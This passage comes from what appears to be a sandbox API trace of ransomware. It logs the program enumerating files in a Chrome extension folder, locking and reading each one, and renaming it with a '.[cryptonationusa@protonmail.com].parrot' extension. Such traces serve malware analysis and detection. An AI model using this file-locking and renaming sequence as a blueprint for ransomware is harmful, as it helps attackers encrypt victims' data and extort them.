data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_common.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.141] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x795e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.141] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.141] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0074.143] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.143] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x794cf, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x794cf, lpOverlapped=0x0) returned 1 [0074.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.266] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x795e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.266] CloseHandle (hObject=0x27c) returned 1 [0074.266] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.274] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa59, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.274] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.274] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0074.276] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.277] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x941, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x941, lpOverlapped=0x0) returned 1 [0074.277] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.277] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa59, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.277] CloseHandle (hObject=0x27c) returned 1 [0074.277] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_webrtc.js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.282] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0074.285] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.285] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e6790, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83624340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83624340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.287] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.287] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.287] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am", cAlternateFileName="")) returned 1 [0074.287] lstrcmpW (lpString1="am", lpString2=".") returned 1 [0074.287] lstrcmpW (lpString1="am", lpString2="..") returned 1 [0074.287] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.288] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.288] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833eb5b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.289] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.290] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.290] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833eb5b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397d230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4827, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.291] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x493f, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.291] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.291] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.293] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.293] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4827, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x4827, lpOverlapped=0x0) returned 1 [0074.294] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.295] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x493f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.295] CloseHandle (hObject=0x274) returned 1 [0074.295] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.309] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.309] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9c40400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9c40400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.309] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833eb5b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833eb5b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9c40400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4948, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.309] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.310] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.310] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x833fee30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.310] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.310] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.310] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833fee30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x45bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.310] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x46d7, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.310] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.310] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.312] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.312] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x45bf, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x45bf, lpOverlapped=0x0) returned 1 [0074.322] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.323] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x46d7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.323] CloseHandle (hObject=0x274) returned 1 [0074.323] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.326] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.326] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9c8c6c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9c8c6c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.326] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x833fee30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x833fee30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9c8c6c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x46d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.326] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.327] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.327] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83406360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83406360, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.327] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.327] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.327] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83406360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83408a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.328] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c7b, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.328] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.329] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.330] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.330] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x4b63, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x4b63, lpOverlapped=0x0) returned 1 [0074.332] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.333] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c7b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0074.333] CloseHandle (hObject=0x274) returned 1 [0074.334] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0074.338] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.338] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb9cb2820, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb9cb2820, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.338] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83406360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83408a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb9c8c6c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4c88, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0074.338] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0074.339] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0074.339] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8340b180, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.339] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0074.339] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0074.339] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8340b180, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8397f940, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0074.339] LockFile (hFile=0x274, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x53e3, nNumberOfBytesToLockHigh=0x0) returned 1 [0074.339] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0074.339] ReadFile (in: hFile=0x274, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0074.341] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.341] ReadFile (in: hFile=0x274, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x52cb, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x52cb, lpOverlapped=0x0) returned 1 [0074.344] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0074.345] UnlockFile (hFile=0x274, dwFileOffsetLow=0x0, 